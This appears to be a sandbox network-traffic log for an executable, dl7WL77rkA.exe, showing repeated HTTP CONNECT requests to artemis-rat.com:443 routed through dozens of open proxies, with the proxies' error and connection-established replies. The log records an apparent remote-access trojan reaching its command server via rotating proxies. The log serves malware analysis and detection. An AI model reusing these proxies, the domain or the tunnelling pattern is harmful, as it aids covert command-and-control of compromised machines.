Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.5	53362	45.11.95.165	5038	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.899164915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.5	53409	12.186.205.123	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.910800934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.101475000 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.5	51792	162.214.121.173	33572	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.917449951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.998730898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.999154091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.998853922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.5	53408	23.95.209.142	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.917669058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.5	52747	92.204.136.149	16928	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.931924105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.998688936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.999159098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.998856068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.5	52766	51.161.33.206	44523	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.004473925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.5	53368	115.146.225.137	10046	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.005147934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.5	53366	185.49.30.5	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.005398989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.5	53364	36.92.81.181	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.005708933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.5	53406	20.210.113.32	8123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.008781910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.273838043 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.5	53361	38.54.116.9	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.010121107 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:45.434178114 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.5	53413	38.162.31.9	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.011320114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.422396898 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.5	53393	212.110.188.202	34409	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.011710882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.701946974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.064862967 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.5	53375	45.159.189.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.012077093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:48.187269926 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:48.843167067 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:49.757435083 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:51.583209038 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:55.239094019 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:02.551028967 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:17.176285028 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:46.455214977 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.5	53403	23.137.248.197	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.012263060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.307588100 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.5	52895	153.139.233.218	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.012689114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.781260014 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.5	52827	192.163.200.80	37327	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.012697935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.014522076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.5	52760	187.49.191.73	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.013238907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.046597004 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.5	53358	203.95.196.50	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.019351006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.5	52806	45.10.42.20	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.020407915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.201941967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.208198071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.405117035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.5	53465	172.64.80.55	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.023361921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.178081989 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.5	53378	14.232.235.13	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.024480104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.422102928 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.5	53453	38.54.101.254	9000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.028495073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.205440044 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.5	53061	117.160.250.163	8828	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.063868046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.005883932 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:43 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.
Mar 11, 2024 03:30:48.863737106 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:43 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.5	53463	192.210.228.28	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.065331936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.5	53447	68.183.143.134	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.071983099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.885030985 CET	814	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 622 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 63 6f 70 70 65 72 61 6c 6c 69 61 6e 63 65 2e 75 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@copperalliance.us to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.5	53460	38.162.3.82	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.076589108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.495726109 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.5	53412	195.87.217.75	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.095287085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.5	52836	104.251.212.206	59057	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.099772930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.201941967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
